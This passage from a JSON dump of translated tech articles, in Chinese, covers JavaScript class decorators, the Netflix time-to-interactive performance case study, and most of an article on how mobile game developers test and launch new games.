赋值创建新对象了。这将打破原型链，因为修改后的对象将不具有构造函数的任何原型方法。\n\n考虑到这一点，让我们看看类修饰器可以做什么。类修饰器必须位于类的顶部，就像之前我们在方法名或字段名上看到的修饰器一样。这个修饰器也是一个函数，但它应该返回构造函数或类。\n\n假设我有一个简单的 `User` 类如下：\n\n```\nclass User {  \n    constructor( firstName, lastName ) {  \n        this.firstName = firstName;  \n        this.lastName = lastName;  \n    }  \n}\n```\n\n这里的 `User` 类不包含任何方法。正如上面所说，类修饰器应该返回一个构造函数。\n\n```\nfunction withLoginStatus( UserRef ) {\n    return function( firstName, lastName ) {\n        this.firstName = firstName;\n        this.lastName = lastName;\n        this.loggedIn = false;\n    }\n}\n@withLoginStatus\nclass User {\n    constructor( firstName, lastName ) {\n        this.firstName = firstName;\n        this.lastName = lastName;\n    }\n}\nlet user = new User( 'John', 'Doe' );\nconsole.log( user );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*rM3KBl5wFGoMNkq3DDFrgg.png)\n\n类修饰器函数会接收目标类 `UserRef`，在上面的示例中是 `User`（**修饰器的作用目标**）并且必须返回构造函数。这打开了使用修饰器无限可能性的大门。因此，类修饰器比方法/属性修饰器更受欢迎。\n\n但是上面的例子太基础了，当我们的 `User` 类有大量的属性和原型方法时，我们不想创建一个新的构造函数。好消息是，我们在修饰器函数中可以引用类，即 `UserRef`。可以从构造函数返回新类，该类将扩展 `User` 类（`UserRef` 指向的类）。因为，类也是构造函数，所以下面的代码也是合法的。\n\n```\nfunction withLoginStatus( UserRef ) {\n    return class extends UserRef {\n        constructor( ...args ) {\n            super( ...args );\n            this.isLoggedIn = false;\n        }\n        setLoggedIn() {\n            this.isLoggedIn = true;\n        }\n    }\n}\n@withLoginStatus\nclass User {\n    constructor( firstName, lastName ) {\n        this.firstName = firstName;\n        this.lastName = lastName;\n    }\n}\nlet user = new User( 'John', 'Doe' );\nconsole.log( 'Before ===> ', user );\n// 设置为已登录\nuser.setLoggedIn();\nconsole.log( 'After ===> ', user );\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*uWCbna4Q89ZWCz5Xmv5Hdg.png)\n\n* * *\n\n你可以将多个修饰器放在一起，执行顺序和它们外观顺序一致。\n\n* * *\n\n修饰器是更快地达到目的的奇特方式。在它们正式加入 ECMAScript 规范之前，我们先期待一下吧。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-netflix-web-performance-case-study.md",
    "content": "> * 原文地址：[A Netflix Web Performance Case Study: Improving Time-To-Interactive for Netflix.com on Desktop](https://medium.com/dev-channel/a-netflix-web-performance-case-study-c0bcde26a9d9)\n> * 原文作者：[Addy Osmani](https://medium.com/@addyosmani?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-netflix-web-performance-case-study.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-netflix-web-performance-case-study.md)\n> * 译者：[子非](https://github.com/CoolRice)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk), [kyrieliu](https://kyrieliu.cn/)\n\n# Netflix 的 Web 性能案例研究\n\n## 为 Netflix.com 改进桌面端可交互时间\n\n![](https://cdn-images-1.medium.com/max/2000/1*Pxmm24WKcYUqFC1Fsh_n7g.png)\n\n**提纲：Web 性能优化没有银弹。简单的静态网页得益于使用极少 JavaScript 代码的服务端渲染。库的谨慎使用可以为复杂的页面带来巨大的价值。**\n\n[Netflix](https://netflix.com) 是最受欢迎的视频流服务之一。自 2016 年在全球推出以来，公司发现许多新用户不仅通过移动设备完成注册，而且还使用了不太理想的网络连接。\n\n通过改进用于 Netflix.com 注册过程 JavaScript 代码和使用预加载技术，开发人员团队可以为移动和桌面用户提供更好的用户体验，并提供多项改进。\n\n*   **减少 50% 的加载和可交互时间（适用于 Netflix.com 桌面端未登录的主页）**\n*   **通过把 React 和其他客户端库改为原生的 JavaScript 使打包大小减少 200 KB。React 仍在服务端使用**\n*   **为将来的操作预获取 HTML，CSS 和 JavaScript（React）使可交互时间减少 30%**\n\n#### 通过嵌入更少的代码来减少可交互时间\n\nNetflix 开发者优化性能的地方是未登录主页，用户在此页面注册并登录站点。\n\n![](https://cdn-images-1.medium.com/max/800/1*T_bJaPmnB7Muy1Vw67CBqg.png)\n\n新用户和已登出用户的 Netflix.com 主页\n\n此页面初始包含 300KB 的 JavaScript 代码，其中一些是 React 和其他客户端代码（例如像 Lodash 的工具库），而且还有一些是必要的上下文数据用来给 React 的状态注水（hydrate）。\n\n所有 Netflix 的网页都由服务端 React 渲染，这些页面为生成的 HTML 和客户端应用提供服务，因此维持新优化的主页结构不变和保持开发人员体验的一致性同样重要。\n\n![](https://cdn-images-1.medium.com/max/800/1*LaiM-eBWHnLloOpvbMggww.png)\n\nHomepage 选项卡是最初使用 React 编写的组件的示例\n\n使用 Chrome 的 DevTools 和 Lighthouse 来模拟 3G 网络下加载未登录主页，结果显示未登录主页需要 7 秒时间来加载，这段时间对于一个简单的入口页面来说实在是太久了，所以我们开始调查改进的可能性。通过一些性能审查，Netflix 发现他们的客户端 JS 有过高的[开销](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4)。\n\n![](https://cdn-images-1.medium.com/max/800/1*9lGTXyeixVs7P1cBL1p7NA.png)\n\n通过 Chrome DevTools 的网络限速功能，查看未优化的 Netflix.com 的表现。\n\n通过关闭浏览器中的 JavaScript 来观察站点中仍在起作用的元素，开发者团队可以决定 React 在未登录主页是否真正必要。\n\n由于页面中的多数元素是基本的 HTML，剩下的元素比如 JavaScript 点击处理和添加类可以用原生 JavaScript 来替换，而页面原来使用 React 实现的语言切换器则使用不到 300 行的原生 JavaScript 代码重构。\n\n移植到原生 JavaScript 的组件完全列表：\n\n*   基础交互（主页中的选项卡）\n*   语言切换器\n*   Cookie 横幅（针对非美国访问者）\n*   分析用的客户端日志\n*   性能评估和记录\n*   广告来源引导代码（出于安全考虑，沙盒化放在 iframe 里）\n\n![](https://cdn-images-1.medium.com/max/800/1*wBgSYuZmjbGP34BJiRSETw.jpeg)\n\n虽然 React 的初始代码仅仅 45 KB，在客户端移除 React、一些库和相应的 App 代码**减少的 JavaScript 代码总量超多 200 KB**，由此在 Netflix 的未登录主页降低了超过 50% 的可交互时间。\n\n![](https://cdn-images-1.medium.com/max/800/1*zd9QTVBtN2xmrZ94s4TYYA.jpeg)\n\n**移除客户端 React、Lodash 和其他一些库前后的负载比较。**\n\n在[实验](https://developers.google.com/web/fundamentals/performance/speed-tools/#lab_data)环境下，我们可以使用 [Lighthouse](https://developers.google.com/web/tools/lighthouse/)（[trace](https://www.webpagetest.org/lighthouse.php?test=180822_M4_a5899bc8928b958d06902161c15b2c86&run=2)）快速测验用户是否能与 Netflix 主页交互。结果桌面端的 TTI 少于 3.5s。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*xviETZh4IDKxT5x_k2u8cg.png)\n\n可交互时间优化后的 Lighthouse 报告。\n\n那么这个领域的度量标准呢？使用 [Chrome 用户体验报告](https://developers.google.com/web/tools/chrome-user-experience-report/)我们可以看到[首次输入延迟](https://developers.google.com/web/updates/2018/05/first-input-delay) —— 从用户首次与你的站点交互时间到浏览器真正响应那次交互的时间 —— 对于 97% 的 Netflix 桌面用户来说很[快](https://bigquery.cloud.google.com/savedquery/920398604589:1692b8e0bdc94d4883437d8712cbb83a)。结果非常棒。\n\n![](https://cdn-images-1.medium.com/max/800/1*Gxkl5liyc-tI7Wh7UTtDlQ.png)\n\n首先输入延迟（FID）度量用户在与页面交互时的延迟体验。\n\n#### 为后续页面预加载 React\n\n为了进一步提高浏览登录主页的性能，Netflix 利用用户在入口页面上花费的时间针对可能会登录的下一个页面进行资源**预加载**。\n\n通过两项技术完成 —— 内置的 [`<link rel=prefetch>`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Link_prefetching_FAQ) 浏览器 API 和 XHR 预加载。\n\n内置的浏览器 API 包含页面头部标签内的简单链接标签。它会建议浏览器资源（例如 HTML、JS、CSS、图片）可以被预加载，虽然它并不保证浏览器真的**会**预加载资源，并且它缺少[其他浏览器](https://caniuse.com/#feat=link-rel-prefetch)的全面支持。\n\n![](https://cdn-images-1.medium.com/max/800/1*TAv9_jZGqmX-aTJw5QDtRA.jpeg)\n\n预加载技术对比\n\n另一方面，XHR 预加载已经成为浏览器标准很多年了，当 Netflix 团队提示浏览器缓存资源时，其成功率达到 95%。但是 XHR 预加载不能预加载 HTML 文档，Netflix 用它来为后续页面预加载 JavaScript 和 CSS 打包文件。\n\n注意：Netflix 配置的 HTTP 响应头禁止使用 XHR 缓存 HTML（它们确实不缓存（no-cache）第二个页面的 HTML）。链接预加载会按预期工作，因为它对 HTML 有效，即使设置了不缓存（no-cache）。\n\n```\n// 创建新的 XHR 请求\nconst xhrRequest = new XMLHttpRequest();\n\n// open the request for the resource to \"prefetch\"\n// 打开请求来“预加载”资源\nxhrRequest.open('GET', '../bundle.js', true);\n\n// 发送！\nxhrRequest.send();\n```\n\n通过使用浏览器内置 API 和 XHR 预加载 HTML、CSS 和 JS，可交互时间减少了 30%。这个实现不需要重写 JavaScript，也不会对未登录主页的性能造成负面影响，而且从此以后，能以极低的风险为提升页面性能提供了非常有价值的工具。\n\n![](https://cdn-images-1.medium.com/max/800/1*yusmoWBbhhfxDEv03OWPTQ.jpeg)\n\n预加载实现之后，Netflix 开发者可以通过分析页面减少的可交互时间数据来观察性能提升效果，同样使用 Chrome 开发工具直接度量资源缓存的命中情况。\n\n#### Netflix 未登录主页 —— 优化总结\n\n通过预加载 Netflix 未登录主页资源和优化客户端代码，Netflix 可以在注册过程中出色地提升可交互时间指标。通过使用浏览器内置 API 和 XHR 预加载来预获取未来页面，Netflix 可以把可交互时间降低 30%。这是针对下一页面的加载，其中包含单页应用注册过程的引导代码。\n\nNetflix 团队进行的代码优化表明，React 是一个十分有用的库，不过它可能无法为每个问题提供足够的解决方案。通过从第一个用于注册的入口页面的客户端代码中删除 React，可交互时间减少了 50% 以上。缩短客户端上的可交互时间还可以让用户以更快地速度单击注册按钮，这表明代码优化完全可以带来更好的用户体验。\n\n虽然 Netflix 没有在主页中使用 React，但他们为后续的页面预加载。这使得他们整个页面应用程序流程中的其他部分可以利用客户端 React。\n\n更多关于这些优化的细节，请观看 Tony Edwards 的出色演讲：\n\n* YouTube 视频链接：https://youtu.be/V8oTJ8OZ5S0\n\n### 总结\n\n通过密切关注 JavaScript 的开销，Netflix 发现了改善可交互时间的机会。若想发现你的站点是否有机会在这点上做得更好，可以借助你的[性能工具](https://developers.google.com/web/fundamentals/performance/speed-tools/)。\n\nNetflix 决定做出的权衡是使用 React 对入口页面进行服务器渲染，同时也在其上预先获取 React 和其余注册流程的代码。这样可以优化首次加载性能，同时还可以优化其余注册流的加载时间，因为它是一个单页应用程序，因此需要下载更大的 JS 打包文件。\n\n考虑一下是否使用原生 JavaScript 是否适合你的站点的流程。如果你确实需要使用库，那么尝试只嵌入你的用户需要的代码。预加载技术可以帮助优化未来浏览页面的加载时间。\n\n#### 补充说明：\n\n*   Netflix 考虑过使用 [Preact](https://preactjs.com/)，但是对于低交互性的简单页面流而言，使用原生 JavaScript 是一个更简单的选择。\n*   Netflix 试验过使用 [Service Workers](https://developers.google.com/web/fundamentals/primers/service-workers/) 进行静态资源缓存。那时 Safari 不支持这个 API（现在支持了），但他们现在又在探索这个了。Netflix 的注册过程更多需要的是较旧的浏览器支持而不是会员体验。许多用户都会在较旧的浏览器上注册，但会在其原生移动应用或电视设备上观看 Netflix。\n*   Netflix 的入口页面极为动态。这是他们的注册过程中进行 A/B 测试最多的页面，机器学习模型用于根据位置、设备类型和许多其他因素定制消息和图像。支持近 200 个国家，每个派生页面都面对着不同的本地化、法律和价值信息挑战。有关 A/B 测试的更多信息，请参阅 Ryan Burgess 的[测试，只为更好的用户体验](https://www.youtube.com/watch?v=TmhJN6rdm28)。\n\n**感谢 Netflix UI 工程师，[Tony Edwards](https://twitter.com/tedwards947)、[Ryan Burgess](https://twitter.com/burgessdryan)、[Brian Holt](https://twitter.com/holtbt?lang=en)、[Jem Young](https://twitter.com/JemYoung?lang=en)、[Kristofer Baxter](https://twitter.com/kristoferbaxter)（Google）、[Nicole Sullivan](https://twitter.com/stubbornella)（Chrome）和 [Houssein Djirdeh](https://twitter.com/hdjirdeh)（Chrome）的审阅和贡献。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-new-era-of-launching-mobile-games.md",
    "content": "> * 原文地址：[A new era of launching mobile games: How mobile game developers are evolving their go-to-market strategies.](https://medium.com/googleplaydev/a-new-era-of-launching-mobile-games-ef2453686f73)\n> * 原文作者：[Emily Putze](https://medium.com/@putze?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-new-era-of-launching-mobile-games.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-new-era-of-launching-mobile-games.md)\n> * 译者：[IllllllIIl](https://github.com/IllllllIIl)\n> * 校对者：[sisibeloved](https://github.com/sisibeloved)，[whuzxq](https://github.com/whuzxq)\n\n# 移动游戏发行的新时代\n\n## 移动游戏开发者是如何改进他们打入市场的策略\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b416e18bd6?w=800&h=428&f=png&s=41593)\n\n发行一个新的成功的移动游戏风险日益增大并且很烧钱。然而，除去近几年游戏产业的重大变化，大多数开发者，还是用和三四年前一样的发行流程，继续测试和发布新游戏。\n\n在 Google Play，我和移动开发者一起工作过，经历过几百次游戏发行。我亲眼见过开发者为了在新发行上“降低风险”（如果他们没这么做的话，那很应该要去做），是怎么逐渐转变他们的开发过程和游戏上市策略。我希望通过分享其中一些见解，可以帮助你找到适应自己的发行策略，并改进上市的 playbook，下一次能更成功地发布。\n\n### **传统发布的playbook**\n\n首先，当我说到大多开发者像他们之前几年那样继续测试和发布新游戏，我是指什么呢？现在很多开发者遵循我所说的“传统发布的 playbook”。\n\n一个更传统化的发布 playbook 通常包括在早期开发阶段的大量内部测试，接着便是各样的外部测试直到完全发布出来（例如，技术性的，用户留存度和能否变现的测试）。更常见的是，外部测试包含了在特定地区和不同阶段发布一个新游戏的产品版本（相对与测试版来说）。例如，许多遵循更传统化 playbook 的开发者在菲律宾进行技术性测试，在北欧地区进行用户存留度测试，在澳大利亚或加拿大进行变现能力测试。即使不同国家之间得出的结果可能有差异，新游戏通常还是会在不超过五到七个国家之中测试，并且出于稳定性和评价的考虑，测试一般只会在较高端的机型上部署。一般而言，留存和盈利模式测试会持续 2-3 个月的时间。在这段时间里，开发团队会不断调整游戏以达到公司期望的 KPI，也让团队对游戏全球性发布时可能的表现有一些预见。\n\n这听起来熟悉吗？如果是的话，这不一定就是坏事，正如现在这个过程对很多开发者还是适用的。然而在 Google Play，游戏领域发展也尤为迅速的时候，我们认为使用**对过程进行持续评估**这种方法，并且在**必要的地方重复**，是至关重要的。\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b4083d0566?w=796&h=125&f=png&s=16999)\n\n### **一个新时代**\n\n几年前，移动游戏产业开始萌芽，并因为重视盈利性而开始腾飞。2010 到 2014 间，游戏产业的低门槛以及其市场的潜在安装规模促使了数千开发者进入移动游戏领域。在这段黄金爆发时期，游戏开发周期短，开发成本低，营销预算合理，能快速开发并上市发行。开发者可以先推出游戏，看看是否赚钱，再决定未来是否值得进一步投资下去。  \n\n而到了今天，市场已经变得很不一样了，发行一个顶尖的新游戏也是如此。让我们快速回顾下近几年市场都发生了什么变化：\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b4dbad8d23?w=644&h=149&f=png&s=21123)\n\n1.  **更多竞争。** 在当今愈发成熟和拥挤的游戏生态系统中发布一个爆款游戏可以说是很难的。在 Google play 上面就有超过 100 万款游戏，消费者比以往有更多的选择。与此同时，想让玩家换游戏变得更难了。由于玩家很深地沉迷在一款游戏上，就很难放下积累的游戏进度，游戏人物，装饰，联盟，资源等等 —— 即使不谈投入的时间和金钱，他们也不太可能转去玩别的游戏，放弃他们在已有游戏上的投入付出。所以，新游戏能进入到老玩家的眼是越来越难了，排行榜上最赚钱的游戏的营业额也在下降（至少在西方国家市场是这样的，包括美国）。 \n\n2.  **更高的开发成本。** 合理进行测试所需的资源和发布一个新游戏在当今市场很重要。不单是开发周期变长了，而且用户的期望和移动产品的需求也从未如此之高，当用户的需求未能满足时，他们会很善变（换句话讲就是最简可行产品发布得更少了）。把这个因素算到长开发周期，还有就是对先进技术需求的日益增长 —— 保持游戏体积小，玩家匹配能迅速，又要有各种主流的特性如实时的 PvP（玩家对战玩家 Player versus player，即玩家互相利用游戏资源攻击而形成的互动竞技）和实时的聊天翻译机制 —— 结果就是研发一个新游戏的成本大大提高。 \n\n3.  **更多的营销花费。** 如今顶级移动游戏发布的营销预算越来越接近主机游戏的预算了。在一个高度饱和的市场里面，不只是逐步演进的探索变得更加困难，而且用户获取成本依旧极其昂贵，还有就是高质量工具的花费，技术，还有在游戏开发周期中更早需要用到的各类分析，种种成本都叠加在了开发者身上。\n\n这些变化带来的一个结果就是过去的几年很少有新的移动游戏发行，以及业内开发者对不确定性风险的愈发厌恶（这是在瞻前顾后和孤注一掷中的选择）。\n\n### **业务过程只是作为“达到目的的手段”**\n\n移动游戏市场中发生这么多变化，很多开发者继续像以前的方式一样测试和发布新游戏，有点意思，但不是出人意料的。\n\n当业务中的其它部分变动的时候，业务过程是一个不用怎么变化的部分。即使如此，在一个快速变化的市场里面，过度依赖业务过程可以说是危险的，因为它给了你一个错误的安全感（例如，你甚至可能没有察觉到你落后于进度或者你开发中已经有一些盲区）。总体上，我看过只把业务过程看作是“达到目的的手段”的团队 —— 他们更关注于**什么**是他们正在尝试实现的而不是具体**怎么**实现它 —— 这些团队通常更具适应能力，最终也取得了成功。 \n\n### **改进你的 playbook**\n\n当很多开发者继续更多依赖“传统的 playbook”，越来越多人在两个方面上思考如何转变，即新游戏的发布和测试及发行方式上的革新。我最近组建了一个小组，旨在“降低新游戏发行的风险”，该平台是在我们一个 Google 活动中，这个活动中有其他来自 Electronic Arts、Wooga、Miniclip、Playrix、King 和 Big Fish Games 的开发者一起参与，我们切身参与到业务过程改进这个话题中来，并且分享了一些最实际可行的东西。 \n\n下面是顶尖开发者为了降低新游戏在当今市场发布的风险，改进他们的测试和发布过程的五个方式。\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b505e58b79?w=800&h=400&f=png&s=53002)\n\n#### 1. 持续性评估新游戏（并且不要怕终止业务）\n\n为降低发布新游戏的固有风险，许多开发者和厂商把理念塑造为，开发“少而精”的游戏。要实现这点，他们改进了关于批准新游戏的内部流程，并且**对开发过程的多个阶段实现了更细致的评估**。例如，几年前常见的做法是在游戏团队在被允许把游戏推向市场之前，内部要有一个批准通过（批准那个时刻之后才会发行）。然而现在，许多开发者采用的是“有罪推定原则”的方式去批准新游戏，这就需要很多关键的评估，并且也会带来更多的失败和反馈（发布不再是在哪个时刻之后才被允许）。我见过有团队在游戏进入市场之前，要讨论审核直到有五个内部批准，才会通过。我也见过有的开发者放弃掉一些已经开发了一年的游戏 —— 或者在最后用户留存度和变现测试的阶段 —— 因为新游戏当时的指标表现没有达到期望。\n\n这种过程的改进看起来似乎挺直接的，但成功实行起来是有难度的。它需要形成一种内部文化和气氛 —— 从上头的决策者到下属游戏团队 —— 失败是没有关系的（越快失败越好），在开发的任意阶段，没有达到预期所制定标准的游戏，终止它。虽然实践中很难做到，违背市场主流做法，许多开发者相信这起码好过在未来几年，一个平庸的游戏，只会烧了游戏发布（还有运营）的钱。\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b5de6bd5aa?w=800&h=400&f=png&s=42849)\n\n#### 2. 在开发中借助公开或非公开的测试版，更早获得外界的反馈\n\n鉴于发布新游戏会带来的风险逐步增加，尽早发现错误的想法对开发者来说也变得很重要（换句话说，如果要失败，那失败得早一点）。如此，许多顶尖开发者转变他们的 策略，在开发周期中，相比过去，提早了很长一段时间去测试新作品 —— 有时甚至在完整原型之前。不但是因为他们相信这样做对于发现错误的认知很重要（允许他们收集反馈意见，衡量 KPI 并且决定是否要长远投资或终止项目），而且很多人也认为早期市场的反馈对打造一个有长久生命力的游戏也至关重要。\n\n为了能更早地从外部测试新游戏，许多开发者正改进他们在测试上面的技术手段 —— 从只测试游戏的产品版本到先对测试版进行测试，特别是从技术层面和用户留存度进行测试。这个变化的一个主要原因是测试版（公测或内测）的测试考虑到了更多分布式控制，而不是有地域性限制的产品软发布。例如，有了公开的测试版，你可以对这个测试版进行限制，让开发者去收集到早期市场对一个新游戏的反馈，在早期同时也能限制公众对它的接触了解。还有就是，不像一个产品的软发布，**对公测版的测试意味着没有公开评价 —— 用户反馈是非公开的 —— 这对解决游戏早期阶段出现的问题，或者做 A/B 测试从而了解哪些因素影响 KPI 有很大好处**。利用公测版进行外部测试的开发者数目大幅上升，同时也有需要处理大量 IP（知识产权）问题的开发者或大牌厂家，愈发依靠内测版进行早期外部测试（由于许可等问题）。如今，进行更多传统的，有区域限制的软发布测试之前，这些开发者会设立外部网站，吸引用户来申请使用内测版。\n\n> 在了解使用公测版的好处之后 [Cooking Craze](https://play.google.com/store/apps/details?id=com.bigfishgames.cookingcrazegooglef2p)，Big Fish Games 现在要求所有新作品在发布前都要运行 Android 的公测版。这不仅让他们能直接收集到玩家的反馈，相比产品软发布，还能让他们更早，更大胆，更广泛地测试游戏。这意味着在艺术风格，游戏机制，奖励机制等方面上冒更大的风险，在更多地区和在更多的型号设备上测试新游戏。这样带来的好处是既能在各样的市场中体现强大的性能表现，又能暴露出更多未知的技术性问题（并更准确地估计已知问题的影响），并且减少发布时会出现的一星评论。对 Big Fish Games 来说，通过公测版测试意味着最小化风险和新游戏发布时的不确定性因素 —— 让他们对 QA 资源有更好地优先级处理，优化全球化 UA 渠道和发布前的预算，并且发布时更有自信（少了不确定的突发情况！）\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b60db0ed9c?w=800&h=409&f=png&s=342252)\n\n[YouTube 视频：Big Fish Games 案例的学习](https://www.youtube.com/watch?v=qRXkEQOtQ98&t=51s).\n\n不管你的预算多少或游戏大小如何，借助公测版测试新游戏是你在改进中一定要考虑的一个环节。况且，现在 Google Play 有新功能，可指定国家发布测试版，这允许开发者同时在不同的市场里发布测试版和产品版 APK（例如，你可以在大多数国家地区测试游戏的测试版，并且在精选的市场里进行产品的软发布，进而确认 KPI 的情况，借此也能收获到很全面的用户评价）。考虑一下这么做吧！\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b6770c07d7?w=800&h=400&f=png&s=45886)\n\n#### 3. 专注于长期的指标，是成功的开端（并且测试更长时间）\n\n近几年游戏开发中有一个转变，就是从只想着吸引用户下载和变现，到注重实现可持续成功商业的真实 KPI（特别是长期留存度和 LTV）。所以，许多开发者改变了流程，及时地构建应用，并且给比以往更长周期的测试做好预算。\n\n当谈及测试周期时，很明显没有一劳永逸的模型 ——　取决于你测试的东西，你有多少需要优化等等　——　但开发者的测试周期至少要超过 30 天。虽然月留存率是长期留存率的关键指标，但为了更好理解真正的用户价值，你还要弄明白长期性的玩家关注度和留存度模型（LTV就是个周期长的东西）。所以即使你的游戏很完美，你也要测试至少两到三个月。平均来说，我共事过的大多数开发者选择花六个月时间测试新游戏，但对于更出名的游戏来说是十或十二个月（如果没有更多的话）。而那些具有大型 IP（知识产权）的游戏，开发者更要了解到，在经历月留存之后，用户的感受如何，因为 IP 能在短期内遮盖掉表现不好的指标（意思就是说人们早期很喜欢这个游戏，只是因为喜欢里面的人物，这些人物出自某些电影电视，但不是说你已经能够很好地留住用户了）。\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b714100bfe?w=800&h=400&f=png&s=24772)\n\n#### 4. 转变观念，把游戏当作长期投资\n\n五年前，很少有开发者认为一款移动游戏可以火五年。相反地，他们会发行一款游戏，然后就开始想下一个火的游戏要怎么弄了。现在，像 [Candy Crush](https://play.google.com/store/apps/details?id=com.king.candycrushsaga) 和 [8 Ball Pool](https://play.google.com/store/apps/details?id=com.miniclip.eightballpool) 游戏都证明了移动游戏可以有如平台游戏一样五或十年的寿命周期，甚至更久。所以，许多开发者逐渐地把游戏看作长期投资，并从原本只看重开发新游戏的模式，转变为注重把更多精力也投放到已流行的成功游戏上面。这不仅意味着机械化地维持这些游戏的运作，对它们重复投资的力度还要加大，来确保它们有输出新的内容，投资 Live Operation 服务，更新 UI，紧跟当前的潮流趋势。这不仅能吸收和留住他们现有的玩家，而且也能吸引到新的玩家进来。**对当前的许多开发者来说，大更新就是游戏的新“发布”**。\n\n考虑到目前市场的竞争性 —— 还有获得用户的成本 —— 许多开发者现在专注于发展现有的已形成用户群的游戏就不足为奇了（比冒着发布新游戏好多了）。因为相似的原因，我们目睹着大牌的开发者和发布商放弃了知名游戏每年发布一个新系列的惯例，取而代之的是让一些常青游戏有一些重大的季度更新。[Electronic Arts](https://play.google.com/store/apps/dev?id=6605125519975771237)，以这个厂商为例，它已经在很多体育类游戏上面，如 Madden，NBA Live 和最近的 FIFA 都实行了这一模式。在 2016 年秋季发布的 [FIFA Mobile](https://play.google.com/store/apps/details?id=com.ea.gp.fifamobile) 之前（而现在已经进入到该游戏所说的第二“季”），FIFA 这系列之前每年都有发布移动端的游戏，看到这一现象，这对 EA 来说其实是一个很重大的改变。现在，对 EA 和其他许多开发者来说，是否在已有的作品系列发行一个新游戏，基本取决于是否需要在根本上提升这个游戏的技术/引擎（相对与只是想发布一些新游戏的欲望）。\n\n如果你已经有一个很稳固用户群的游戏，那它**值得你去思考如何能再对它进行投入，使它更成功**，而不只是想如何打造你的下一个爆款游戏。\n\n![](https://user-gold-cdn.xitu.io/2018/5/14/1635f4b71b6a59bb?w=800&h=400&f=png&s=38937)\n\n#### 5. 发布前，为最佳留存率做优化\n\n**发布游戏不再只是发布出来这么简单，它还事关如何从发布那一天起就留住用户**。所以，许多开发者改进了他们的开发 playbook，在游戏早期要发行时，要专注于如何最大化地留住用户。许多人认为当今要做一个第一名的游戏真的很有竞争性 —— 对付市场上同样热门的游戏 —— 意味着内容要多，足够让玩家消费，社交特性和各类游戏活动计划这些从一开始就要规划预备好（相对于最简可行产品发布只展示了 25% 的特色）。即使如此，在发布前对这些特性的预先投资对预算，人数统计和资源有很重要的作用。\n\n当说到用户最佳留存度优化这方面时，这是我看到很多人在改进过程中会重视的地方：\n\n1.  **发布前，专注质量和性能表现。** 有一个健壮的 app 和性能指标（例如崩溃率）是防止早期玩家流失的关键，并且能最大化减少发布时的差评（一星的评论里面一半都提及到了稳定性和bug的问题）。所以，在发布前，许多开发者会在更多机型设备上测试新游戏的性能。在 Google Play 上，这尤其重要，正如去年宣布的，Play Store 的推荐算法正在调整为看重质量和玩家的参与度，而这些又从游戏的 Android vitals，用户留存度，评价里体现出来。 \n\n2.  **确保发布时，游戏内容足够丰富，吸引玩家，并且避免玩家流失。** 相比把游戏难度弄高从而拖慢玩家的进度，冒着玩家流失的风险，许多开发者会在测试版的时候，就主动测试他们的玩家能多快通过一个游戏关卡，并且通往下一个等级难度，确保每关的内容足够丰富，留住玩家。记住，你可以通过举办活动来重复利用游戏内容！ \n\n3.  **在游戏上线前，就加入社交功能。** 社交特性在任何游戏里对凝聚和留住玩家都是至关重要的，尤其是新游戏。当玩家用户更能被吸引连结在一起时，他们转去玩别的游戏的可能性就越低。联盟和团战这种玩法在应该发布的第一天就有了，同样也还应该有实时性服务和游戏活动。在发布前，要专注于运用 LiveOps。\n\n4.  **在测试版期间，不要怕“浪费”好活动。** 开发者需要知道他们的 